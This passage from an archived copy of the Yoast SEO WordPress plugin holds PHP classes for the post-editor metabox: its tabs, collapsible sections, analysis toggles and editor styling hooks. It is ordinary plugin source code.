			$html = '<li class="%1$s%2$s"><span class="wpseo_tablink%3$s"%4$s%5$s>%6$s</span></li>';
		}

		return sprintf(
			$html,
			esc_attr( $this->name ),
			( $this->tab_class !== '' ) ? ' ' . esc_attr( $this->tab_class ) : '',
			( $this->link_class !== '' ) ? ' ' . esc_attr( $this->link_class ) : '',
			( $this->link_title !== '' ) ? ' title="' . esc_attr( $this->link_title ) . '"' : '',
			( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '',
			$this->link_content
		);
	}

	/**
	 * Returns the html for the tab content.
	 *
	 * @return string
	 */
	public function content() {
		return sprintf(
			'<div id="%1$s" class="wpseotab %2$s">%3$s</div>',
			esc_attr( 'wpseo_' . $this->name ),
			esc_attr( $this->name ),
			$this->content
		);
	}
}
wordpress-seo/admin/metabox/class-metabox-collapsible.php000064400000003021147510273100017645 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates the HTML for a metabox tab.
 */
class WPSEO_Metabox_Collapsible implements WPSEO_Metabox_Tab {

	/**
	 * The collapsible's unique identifier.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The content to be displayed inside the collapsible.
	 *
	 * @var string
	 */
	private $content;

	/**
	 * The label.
	 *
	 * @var string
	 */
	private $link_content;

	/**
	 * Constructor.
	 *
	 * @param string $name         The name of the tab, used as an identifier in the html.
	 * @param string $content      The tab content.
	 * @param string $link_content The text content of the tab link.
	 */
	public function __construct( $name, $content, $link_content ) {
		$this->name         = $name;
		$this->content      = $content;
		$this->link_content = $link_content;
	}

	/**
	 * Returns the html for the tab link.
	 *
	 * @return string
	 */
	public function link() {
		return $this->link_content;
	}

	/**
	 * Returns the html for the tab content.
	 *
	 * @return string
	 */
	public function content() {
		$collapsible_paper = new WPSEO_Paper_Presenter(
			$this->link(),
			null,
			[
				'content'      => $this->content,
				'collapsible'  => true,
				'class'        => 'metabox wpseo-form wpseo-collapsible-container',
				'paper_id'     => 'collapsible-' . $this->name,
			]
		);

		return $collapsible_paper->get_output();
	}

	/**
	 * Returns the collapsible's unique identifier.
	 *
	 * @return string
	 */
	public function get_name() {
		return $this->name;
	}
}
wordpress-seo/admin/metabox/class-metabox-analysis-inclusive-language.php000064400000003670147510273100022771 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Metabox
 */

/**
 * Represents the inclusive language analysis.
 */
class WPSEO_Metabox_Analysis_Inclusive_Language implements WPSEO_Metabox_Analysis {

	/**
	 * Whether this analysis is enabled.
	 *
	 * @return bool Whether or not this analysis is enabled.
	 */
	public function is_enabled() {
		return $this->is_globally_enabled() && $this->is_user_enabled() && $this->is_current_version_supported()
				&& YoastSEO()->helpers->language->has_inclusive_language_support( WPSEO_Language_Utils::get_language( get_locale() ) );
	}

	/**
	 * Whether or not this analysis is enabled by the user.
	 *
	 * @return bool Whether or not this analysis is enabled by the user.
	 */
	public function is_user_enabled() {
		return ! get_the_author_meta( 'wpseo_inclusive_language_analysis_disable', get_current_user_id() );
	}

	/**
	 * Whether or not this analysis is enabled globally.
	 *
	 * @return bool Whether or not this analysis is enabled globally.
	 */
	public function is_globally_enabled() {
		return WPSEO_Options::get( 'inclusive_language_analysis_active', false );
	}

	/**
	 * Whether the inclusive language analysis should be loaded in Free.
	 *
	 * It should always be loaded when Premium is not active. If Premium is active, it depends on the version. Some Premium
	 * versions also have inclusive language code (when it was still a Premium only feature) which would result in rendering
	 * the analysis twice. In those cases, the analysis should be only loaded from the Premium side.
	 *
	 * @return bool Whether or not the inclusive language analysis should be loaded.
	 */
	private function is_current_version_supported() {
		$is_premium      = YoastSEO()->helpers->product->is_premium();
		$premium_version = YoastSEO()->helpers->product->get_premium_version();

		return ! $is_premium
			|| version_compare( $premium_version, '19.6-RC0', '>=' )
			|| version_compare( $premium_version, '19.2', '==' );
	}
}
wordpress-seo/admin/metabox/class-metabox-editor.php000064400000004415147510273100016652 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Metabox
 */

/**
 * Handles all things with the metabox in combination with the WordPress editor.
 */
class WPSEO_Metabox_Editor {

	/**
	 * Registers hooks to WordPress.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		// For the Classic editor.
		add_filter( 'mce_css', [ $this, 'add_css_inside_editor' ] );
		// For the Block/Gutenberg editor.
		// See https://github.com/danielbachhuber/gutenberg-migration-guide/blob/master/filter-mce-css.md.
		add_action( 'enqueue_block_editor_assets', [ $this, 'add_editor_styles' ] );

		add_filter( 'tiny_mce_before_init', [ $this, 'add_custom_element' ] );
	}

	/**
	 * Adds our inside the editor CSS file to the list of CSS files to be loaded inside the editor.
	 *
	 * @param string $css_files The CSS files that WordPress wants to load inside the editor.
	 * @return string The CSS files WordPress wants to load and our CSS file.
	 */
	public function add_css_inside_editor( $css_files ) {
		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$styles        = $asset_manager->special_styles();
		$inside_editor = $styles['inside-editor'];

		$asset_location = new WPSEO_Admin_Asset_SEO_Location( WPSEO_FILE );
		$url            = $asset_location->get_url( $inside_editor, WPSEO_Admin_Asset::TYPE_CSS );

		if ( $css_files === '' ) {
			$css_files = $url;
		}
		else {
			$css_files .= ',' . $url;
		}

		return $css_files;
	}

	/**
	 * Enqueues the CSS to use in the TinyMCE editor.
	 *
	 * @return void
	 */
	public function add_editor_styles() {
		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_style( 'inside-editor' );
	}

	/**
	 * Adds a custom element to the tinyMCE editor that we need for marking the content.
	 *
	 * @param array $tinymce_config The tinyMCE config as configured by WordPress.
	 *
	 * @return array The new tinyMCE config with our added custom elements.
	 */
	public function add_custom_element( $tinymce_config ) {
		if ( ! empty( $tinymce_config['custom_elements'] ) ) {
			$custom_elements = $tinymce_config['custom_elements'];

			$custom_elements .= ',~yoastmark';
		}
		else {
			$custom_elements = '~yoastmark';
		}

		$tinymce_config['custom_elements'] = $custom_elements;

		return $tinymce_config;
	}
}
wordpress-seo/admin/metabox/interface-metabox-section.php000064400000000552147510273100017661 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates and displays the HTML for a metabox section.
 */
interface WPSEO_Metabox_Section {

	/**
	 * Outputs the section link.
	 *
	 * @return void
	 */
	public function display_link();

	/**
	 * Outputs the section content.
	 *
	 * @return void
	 */
	public function display_content();
}
wordpress-seo/admin/metabox/class-metabox-section-inclusive-language.php000064400000002316147510273100022606 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates and displays the React root element for a metabox section.
 */
class WPSEO_Metabox_Section_Inclusive_Language implements WPSEO_Metabox_Section {

	/**
	 * Name of the section, used as an identifier in the HTML.
	 *
	 * @var string
	 */
	public $name = 'inclusive-language';

	/**
	 * Outputs the section link.
	 *
	 * @return void
	 */
	public function display_link() {
		printf(
			'<li role="presentation"><a role="tab" href="#wpseo-meta-section-%1$s" id="wpseo-meta-tab-%1$s" aria-controls="wpseo-meta-section-%1$s" class="wpseo-meta-section-link">
				<div class="wpseo-score-icon-container" id="wpseo-inclusive-language-score-icon"></div><span>%2$s</span></a></li>',
			esc_attr( $this->name ),
			esc_html__( 'Inclusive language', 'wordpress-seo' )
		);
	}

	/**
	 * Outputs the section content.
	 *
	 * @return void
	 */
	public function display_content() {
		printf(
			'<div role="tabpanel" id="wpseo-meta-section-%1$s" aria-labelledby="wpseo-meta-tab-%1$s" tabindex="0" class="wpseo-meta-section">',
			esc_attr( $this->name )
		);
		echo '<div id="wpseo-metabox-inclusive-language-root" class="wpseo-metabox-root"></div>', '</div>';
	}
}
wordpress-seo/admin/metabox/class-metabox-analysis-seo.php000064400000001621147510273100017767 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Metabox
 */

/**
 * Represents the SEO analysis.
 */
class WPSEO_Metabox_Analysis_SEO implements WPSEO_Metabox_Analysis {

	/**
	 * Whether this analysis is enabled.
	 *
	 * @return bool Whether or not this analysis is enabled.
	 */
	public function is_enabled() {
		return $this->is_globally_enabled() && $this->is_user_enabled();
	}

	/**
	 * Whether or not this analysis is enabled by the user.
	 *
	 * @return bool Whether or not this analysis is enabled by the user.
	 */
	public function is_user_enabled() {
		return ! get_the_author_meta( 'wpseo_keyword_analysis_disable', get_current_user_id() );
	}

	/**
	 * Whether or not this analysis is enabled globally.
	 *
	 * @return bool Whether or not this analysis is enabled globally.
	 */
	public function is_globally_enabled() {
		return WPSEO_Options::get( 'keyword_analysis_active', true );
	}
}
wordpress-seo/admin/metabox/class-metabox-collapsibles-section.php000064400000003745147510273100021507 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates and displays a metabox tab that consists of collapsible sections.
 */
class WPSEO_Metabox_Collapsibles_Sections extends WPSEO_Abstract_Metabox_Tab_With_Sections {

	/**
	 * Holds the tab's collapsibles.
	 *
	 * @var WPSEO_Metabox_Collapsible[]
	 */
	private $collapsibles = [];

	/**
	 * Constructor.
	 *
	 * @param string $name         The name of the section, used as an identifier in the html.
	 *                             Can only contain URL safe characters.
	 * @param string $link_content The text content of the section link.
	 * @param array  $collapsibles The metabox collapsibles (`WPSEO_Metabox_Collapsible[]`) to be included in the section.
	 * @param array  $options      Optional link attributes.
	 */
	public function __construct( $name, $link_content, array $collapsibles = [], array $options = [] ) {
		parent::__construct( $name, $link_content, $options );

		$this->collapsibles = $collapsibles;
	}

	/**
	 * Outputs the section content if any tab has been added.
	 *
	 * @return void
	 */
	public function display_content() {
		if ( $this->has_sections() ) {
			printf( '<div id="%1$s" class="wpseo-meta-section">', esc_attr( 'wpseo-meta-section-' . $this->name ) );
			echo '<div class="wpseo_content_wrapper">';

			add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] );
			add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] );
			foreach ( $this->collapsibles as $collapsible ) {
				echo wp_kses_post( $collapsible->content() );
			}
			remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] );
			remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] );

			echo '</div></div>';
		}
	}

	/**
	 * Checks whether the tab has any sections.
	 *
	 * @return bool Whether the tab has any sections
	 */
	protected function has_sections() {
		return ! empty( $this->collapsibles );
	}
}
wordpress-seo/admin/metabox/class-abstract-sectioned-metabox-tab.php000064400000004406147510273100021706 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Base class for metabox that consist of multiple sections.
 */
abstract class WPSEO_Abstract_Metabox_Tab_With_Sections implements WPSEO_Metabox_Section {

	/**
	 * Holds the name of the tab.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Holds the HTML of the tab header.
	 *
	 * @var string
	 */
	protected $link_content;

	/**
	 * Holds the name of the tab header.
	 *
	 * @var string
	 */
	protected $link_title;

	/**
	 * Holds the classname of the tab header.
	 *
	 * @var string
	 */
	protected $link_class;

	/**
	 * Holds the aria label of the tab header.
	 *
	 * @var string
	 */
	protected $link_aria_label;

	/**
	 * Constructor.
	 *
	 * @param string $name         The name of the section, used as an identifier in the html.
	 *                             Can only contain URL safe characters.
	 * @param string $link_content The text content of the section link.
	 * @param array  $options      Optional link attributes.
	 */
	public function __construct( $name, $link_content, array $options = [] ) {
		$default_options = [
			'link_title'      => '',
			'link_class'      => '',
			'link_aria_label' => '',
		];

		$options = array_merge( $default_options, $options );

		$this->name = $name;

		$this->link_content    = $link_content;
		$this->link_title      = $options['link_title'];
		$this->link_class      = $options['link_class'];
		$this->link_aria_label = $options['link_aria_label'];
	}

	/**
	 * Outputs the section link if any section has been added.
	 *
	 * @return void
	 */
	public function display_link() {
		if ( $this->has_sections() ) {
			printf(
				'<li role="presentation"><a role="tab" href="#wpseo-meta-section-%1$s" id="wpseo-meta-tab-%1$s" aria-controls="wpseo-meta-section-%1$s" class="wpseo-meta-section-link %2$s"%3$s%4$s>%5$s</a></li>',
				esc_attr( $this->name ),
				esc_attr( $this->link_class ),
				( $this->link_title !== '' ) ? ' title="' . esc_attr( $this->link_title ) . '"' : '',
				( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '',
				$this->link_content
			);
		}
	}

	/**
	 * Checks whether the tab has any sections.
	 *
	 * @return bool Whether the tab has any sections
	 */
	abstract protected function has_sections();
}
wordpress-seo/admin/metabox/class-metabox-section-react.php000064400000006034147510273100020123 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates and displays the React root element for a metabox section.
 */
class WPSEO_Metabox_Section_React implements WPSEO_Metabox_Section {

	/**
	 * Name of the section, used as an identifier in the HTML.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Content to use before the React root node.
	 *
	 * @var string
	 */
	public $content;

	/**
	 * Content to use to display the button to open this content block.
	 *
	 * @var string
	 */
	private $link_content;

	/**
	 * Class to add to the link.
	 *
	 * @var string
	 */
	private $link_class;

	/**
	 * Aria label to use for the link.
	 *
	 * @var string
	 */
	private $link_aria_label;

	/**
	 * Additional html content to be displayed within the section.
	 *
	 * @var string
	 */
	private $html_after;

	/**
	 * Constructor.
	 *
	 * @param string $name         The name of the section, used as an identifier in the html.
	 *                             Can only contain URL safe characters.
	 * @param string $link_content The text content of the section link.
	 * @param string $content      Optional. Content to use above the React root element.
	 * @param array  $options      Optional link attributes.
	 */
	public function __construct( $name, $link_content, $content = '', array $options = [] ) {
		$this->name    = $name;
		$this->content = $content;

		$default_options = [
			'link_class'      => '',
			'link_aria_label' => '',
			'html_after'      => '',
		];

		$options = wp_parse_args( $options, $default_options );

		$this->link_content    = $link_content;
		$this->link_class      = $options['link_class'];
		$this->link_aria_label = $options['link_aria_label'];
		$this->html_after      = $options['html_after'];
	}

	/**
	 * Outputs the section link.
	 *
	 * @return void
	 */
	public function display_link() {
		printf(
			'<li role="presentation"><a role="tab" href="#wpseo-meta-section-%1$s" id="wpseo-meta-tab-%1$s" aria-controls="wpseo-meta-section-%1$s" class="wpseo-meta-section-link %2$s"%3$s>%4$s</a></li>',
			esc_attr( $this->name ),
			esc_attr( $this->link_class ),
			( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '',
			wp_kses_post( $this->link_content )
		);
	}

	/**
	 * Outputs the section content.
	 *
	 * @return void
	 */
	public function display_content() {
		add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] );
		add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] );

		printf(
			'<div role="tabpanel" id="wpseo-meta-section-%1$s" aria-labelledby="wpseo-meta-tab-%1$s" tabindex="0" class="wpseo-meta-section">',
			esc_attr( $this->name )
		);
		echo wp_kses_post( $this->content );
		echo '<div id="wpseo-metabox-root" class="wpseo-metabox-root"></div>';
		echo wp_kses_post( $this->html_after );
		echo '</div>';

		remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] );
		remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] );
	}
}
wordpress-seo/admin/metabox/interface-metabox-tab.php000064400000000533147510273100016762 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates the HTML for a metabox tab.
 */
interface WPSEO_Metabox_Tab {

	/**
	 * Returns the html for the tab link.
	 *
	 * @return string
	 */
	public function link();

	/**
	 * Returns the html for the tab content.
	 *
	 * @return string
	 */
	public function content();
}
wordpress-seo/admin/metabox/class-metabox-section-additional.php000064400000005107147510273100021135 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Metabox
 */

/**
 * Generates and displays an additional metabox section.
 */
class WPSEO_Metabox_Section_Additional implements WPSEO_Metabox_Section {

	/**
	 * Name of the section, used as an identifier in the HTML.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Content of the tab's section.
	 *
	 * @var string
	 */
	public $content;

	/**
	 * HTML to use in the tab header.
	 *
	 * @var string
	 */
	private $link_content;

	/**
	 * Class to add to the link.
	 *
	 * @var string
	 */
	private $link_class;

	/**
	 * Aria label to use for the link.
	 *
	 * @var string
	 */
	private $link_aria_label;

	/**
	 * Represents the content class.
	 *
	 * @var string
	 */
	private $content_class;

	/**
	 * Constructor.
	 *
	 * @param string $name         The name of the section, used as an identifier in the html.
	 *                             Can only contain URL safe characters.
	 * @param string $link_content The text content of the section link.
	 * @param string $content      Optional. Content to use above the React root element.
	 * @param array  $options      Optional link attributes.
	 */
	public function __construct( $name, $link_content, $content = '', array $options = [] ) {
		$this->name            = $name;
		$this->content         = $content;
		$default_options       = [
			'link_class'      => '',
			'link_aria_label' => '',
			'content_class'   => 'wpseo-form',
		];
		$options               = wp_parse_args( $options, $default_options );
		$this->link_content    = $link_content;
		$this->link_class      = $options['link_class'];
		$this->link_aria_label = $options['link_aria_label'];
		$this->content_class   = $options['content_class'];
	}

	/**
	 * Outputs the section link.
	 *
	 * @return void
	 */
	public function display_link() {
		printf(
			'<li role="presentation"><a role="tab" href="#wpseo-meta-section-%1$s" id="wpseo-meta-tab-%1$s" aria-controls="wpseo-meta-section-%1$s" class="wpseo-meta-section-link %2$s"%3$s>%4$s</a></li>',
			esc_attr( $this->name ),
			esc_attr( $this->link_class ),
			( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '',
			$this->link_content
		);
	}

	/**
	 * Outputs the section content.
	 *
	 * @return void
	 */
	public function display_content() {
		$html  = sprintf(
			'<div role="tabpanel" id="wpseo-meta-section-%1$s" aria-labelledby="wpseo-meta-tab-%1$s" tabindex="0" class="wpseo-meta-section %2$s">',
			esc_attr( $this->name ),
			esc_attr( $this->content_class )
		);
		$html .= $this->content;
		$html .= '</div>';
		echo $html;
	}
}
wordpress-seo/admin/metabox/class-metabox.php000064400000115371147510273100015372 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Meta_Fields_Presenter;

/**
 * This class generates the metabox on the edit post / page as well as contains all page analysis functionality.
 */
class WPSEO_Metabox extends WPSEO_Meta {

	/**
	 * Whether the social tab is enabled.
	 *
	 * @var bool
	 */
	private $social_is_enabled;

	/**
	 * Helper to determine whether the SEO analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_SEO
	 */
	protected $seo_analysis;

	/**
	 * Helper to determine whether the readability analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Readability
	 */
	protected $readability_analysis;

	/**
	 * Helper to determine whether the inclusive language analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Inclusive_Language
	 */
	protected $inclusive_language_analysis;

	/**
	 * The metabox editor object.
	 *
	 * @var WPSEO_Metabox_Editor
	 */
	protected $editor;

	/**
	 * The Metabox post.
	 *
	 * @var WP_Post
	 */
	protected $post = null;

	/**
	 * Whether the advanced metadata is enabled.
	 *
	 * @var bool
	 */
	protected $is_advanced_metadata_enabled;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		if ( $this->is_internet_explorer() ) {
			add_action( 'add_meta_boxes', [ $this, 'internet_explorer_metabox' ] );

			return;
		}

		add_action( 'add_meta_boxes', [ $this, 'add_meta_box' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue' ] );
		add_action( 'wp_insert_post', [ $this, 'save_postdata' ] );
		add_action( 'edit_attachment', [ $this, 'save_postdata' ] );
		add_action( 'add_attachment', [ $this, 'save_postdata' ] );

		$this->editor = new WPSEO_Metabox_Editor();
		$this->editor->register_hooks();

		$this->social_is_enabled            = WPSEO_Options::get( 'opengraph', false, [ 'wpseo_social' ] ) || WPSEO_Options::get( 'twitter', false, [ 'wpseo_social' ] );
		$this->is_advanced_metadata_enabled = WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) || WPSEO_Options::get( 'disableadvanced_meta', null, [ 'wpseo' ] ) === false;

		$this->seo_analysis                = new WPSEO_Metabox_Analysis_SEO();
		$this->readability_analysis        = new WPSEO_Metabox_Analysis_Readability();
		$this->inclusive_language_analysis = new WPSEO_Metabox_Analysis_Inclusive_Language();
	}

	/**
	 * Checks whether the request comes from an IE 11 browser.
	 *
	 * @return bool Whether the request comes from an IE 11 browser.
	 */
	public static function is_internet_explorer() {
		if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
			return false;
		}

		$user_agent = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) );

		if ( stripos( $user_agent, 'Trident/7.0' ) === false ) {
			return false;
		}

		return true;
	}

	/**
	 * Adds an alternative metabox for internet explorer users.
	 *
	 * @return void
	 */
	public function internet_explorer_metabox() {
		$post_types = WPSEO_Post_Type::get_accessible_post_types();
		$post_types = array_filter( $post_types, [ $this, 'display_metabox' ] );

		if ( ! is_array( $post_types ) || $post_types === [] ) {
			return;
		}

		$product_title = $this->get_product_title();

		foreach ( $post_types as $post_type ) {
			add_filter( "postbox_classes_{$post_type}_wpseo_meta", [ $this, 'wpseo_metabox_class' ] );

			add_meta_box(
				'wpseo_meta',
				$product_title,
				[ $this, 'render_internet_explorer_notice' ],
				$post_type,
				'normal',
				apply_filters( 'wpseo_metabox_prio', 'high' ),
				[ '__block_editor_compatible_meta_box' => true ]
			);
		}
	}

	/**
	 * Renders the content for the internet explorer metabox.
	 *
	 * @return void
	 */
	public function render_internet_explorer_notice() {
		$content = sprintf(
			/* translators: 1: Link start tag to the Firefox website, 2: Link start tag to the Chrome website, 3: Link start tag to the Edge website, 4: Link closing tag. */
			esc_html__( 'The browser you are currently using is unfortunately rather dated. Since we strive to give you the best experience possible, we no longer support this browser. Instead, please use %1$sFirefox%4$s, %2$sChrome%4$s or %3$sMicrosoft Edge%4$s.', 'wordpress-seo' ),
			'<a href="https://www.mozilla.org/firefox/new/">',
			'<a href="https://www.google.com/chrome/">',
			'<a href="https://www.microsoft.com/windows/microsoft-edge">',
			'</a>'
		);

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above.
		echo new Alert_Presenter( $content );
	}

	/**
	 * Translates text strings for use in the meta box.
	 *
	 * IMPORTANT: if you want to add a new string (option) somewhere, make sure you add that array key to
	 * the main meta box definition array in the class WPSEO_Meta() as well!!!!
	 *
	 * @deprecated 23.5
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public static function translate_meta_boxes() {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.5' );

		WPSEO_Meta::$meta_fields['general']['title']['title']    = __( 'SEO title', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['general']['metadesc']['title'] = __( 'Meta description', 'wordpress-seo' );

		/* translators: %s expands to the post type name. */
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['title'] = __( 'Allow search engines to show this %s in search results?', 'wordpress-seo' );
		if ( (string) get_option( 'blog_public' ) === '0' ) {
			WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['description'] = '<span class="error-message">' . __( 'Warning: even though you can set the meta robots setting here, the entire site is set to noindex in the sitewide privacy settings, so these settings won\'t have an effect.', 'wordpress-seo' ) . '</span>';
		}
		/* translators: %1$s expands to Yes or No,  %2$s expands to the post type name.*/
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['options']['0'] = __( 'Default for %2$s, currently: %1$s', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['options']['2'] = __( 'Yes', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['options']['1'] = __( 'No', 'wordpress-seo' );

		/* translators: %1$s expands to the post type name.*/
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-nofollow']['title']        = __( 'Should search engines follow links on this %1$s?', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-nofollow']['options']['0'] = __( 'Yes', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-nofollow']['options']['1'] = __( 'No', 'wordpress-seo' );

		WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['title']                   = __( 'Meta robots advanced', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['description']             = __( 'If you want to apply advanced <code>meta</code> robots settings for this page, please define them in the following field.', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['options']['noimageindex'] = __( 'No Image Index', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['options']['noarchive']    = __( 'No Archive', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['options']['nosnippet']    = __( 'No Snippet', 'wordpress-seo' );

		WPSEO_Meta::$meta_fields['advanced']['bctitle']['title']       = __( 'Breadcrumbs Title', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['bctitle']['description'] = __( 'Title to use for this page in breadcrumb paths', 'wordpress-seo' );

		WPSEO_Meta::$meta_fields['advanced']['canonical']['title'] = __( 'Canonical URL', 'wordpress-seo' );

		WPSEO_Meta::$meta_fields['advanced']['canonical']['description'] = sprintf(
			/* translators: 1: link open tag; 2: link close tag. */
			__( 'The canonical URL that this page should point to. Leave empty to default to permalink. %1$sCross domain canonical%2$s supported too.', 'wordpress-seo' ),
			'<a href="https://googlewebmastercentral.blogspot.com/2009/12/handling-legitimate-cross-domain.html" target="_blank" rel="noopener">',
			WPSEO_Admin_Utils::get_new_tab_message() . '</a>'
		);

		WPSEO_Meta::$meta_fields['advanced']['redirect']['title']       = __( '301 Redirect', 'wordpress-seo' );
		WPSEO_Meta::$meta_fields['advanced']['redirect']['description'] = __( 'The URL that this page should redirect to.', 'wordpress-seo' );

		do_action_deprecated( 'wpseo_tab_translate', [], 'Yoast SEO 23.5', '', 'WPSEO_Metabox::translate_meta_boxes is deprecated.' );
	}

	/**
	 * Determines whether the metabox should be shown for the passed identifier.
	 *
	 * By default the check is done for post types, but can also be used for taxonomies.
	 *
	 * @param string|null $identifier The identifier to check.
	 * @param string      $type       The type of object to check. Defaults to post_type.
	 *
	 * @return bool Whether or not the metabox should be displayed.
	 */
	public function display_metabox( $identifier = null, $type = 'post_type' ) {
		return WPSEO_Utils::is_metabox_active( $identifier, $type );
	}

	/**
	 * Adds the Yoast SEO meta box to the edit boxes in the edit post, page,
	 * attachment, and custom post types pages.
	 *
	 * @return void
	 */
	public function add_meta_box() {
		$post_types = WPSEO_Post_Type::get_accessible_post_types();
		$post_types = array_filter( $post_types, [ $this, 'display_metabox' ] );

		if ( ! is_array( $post_types ) || $post_types === [] ) {
			return;
		}

		$product_title = $this->get_product_title();

		foreach ( $post_types as $post_type ) {
			add_filter( "postbox_classes_{$post_type}_wpseo_meta", [ $this, 'wpseo_metabox_class' ] );

			add_meta_box(
				'wpseo_meta',
				$product_title,
				[ $this, 'meta_box' ],
				$post_type,
				'normal',
				apply_filters( 'wpseo_metabox_prio', 'high' ),
				[ '__block_editor_compatible_meta_box' => true ]
			);
		}
	}

	/**
	 * Adds CSS classes to the meta box.
	 *
	 * @param string[] $classes An array of postbox CSS classes.
	 *
	 * @return string[]  List of classes that will be applied to the editbox container.
	 */
	public function wpseo_metabox_class( $classes ) {
		$classes[] = 'yoast wpseo-metabox';

		return $classes;
	}

	/**
	 * Passes variables to js for use with the post-scraper.
	 *
	 * @return array<string,string|array<string|int|bool>|bool|int>
	 */
	public function get_metabox_script_data() {
		$permalink = $this->get_permalink();

		$post_formatter = new WPSEO_Metabox_Formatter(
			new WPSEO_Post_Metabox_Formatter( $this->get_metabox_post(), [], $permalink )
		);

		$values = $post_formatter->get_values();
		/** This filter is documented in admin/filters/class-cornerstone-filter.php. */
		$post_types = apply_filters( 'wpseo_cornerstone_post_types', WPSEO_Post_Type::get_accessible_post_types() );
		if ( $values['cornerstoneActive'] && ! in_array( $this->get_metabox_post()->post_type, $post_types, true ) ) {
			$values['cornerstoneActive'] = false;
		}

		if ( $values['semrushIntegrationActive'] && $this->post->post_type === 'attachment' ) {
			$values['semrushIntegrationActive'] = 0;
		}

		if ( $values['wincherIntegrationActive'] && $this->post->post_type === 'attachment' ) {
			$values['wincherIntegrationActive'] = 0;
		}

		return $values;
	}

	/**
	 * Determines whether or not the current post type has registered taxonomies.
	 *
	 * @return bool Whether the current post type has taxonomies.
	 */
	private function current_post_type_has_taxonomies() {
		$post_taxonomies = get_object_taxonomies( get_post_type() );

		return ! empty( $post_taxonomies );
	}

	/**
	 * Determines the scope based on the post type.
	 * This can be used by the replacevar plugin to determine if a replacement needs to be executed.
	 *
	 * @return string String describing the current scope.
	 */
	private function determine_scope() {
		if ( $this->get_metabox_post()->post_type === 'page' ) {
			return 'page';
		}

		return 'post';
	}

	/**
	 * Outputs the meta box.
	 *
	 * @return void
	 */
	public function meta_box() {
		$this->render_hidden_fields();
		$this->render_tabs();
	}

	/**
	 * Renders the metabox hidden fields.
	 *
	 * @return void
	 */
	protected function render_hidden_fields() {
		wp_nonce_field( 'yoast_free_metabox', 'yoast_free_metabox_nonce' );

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class.
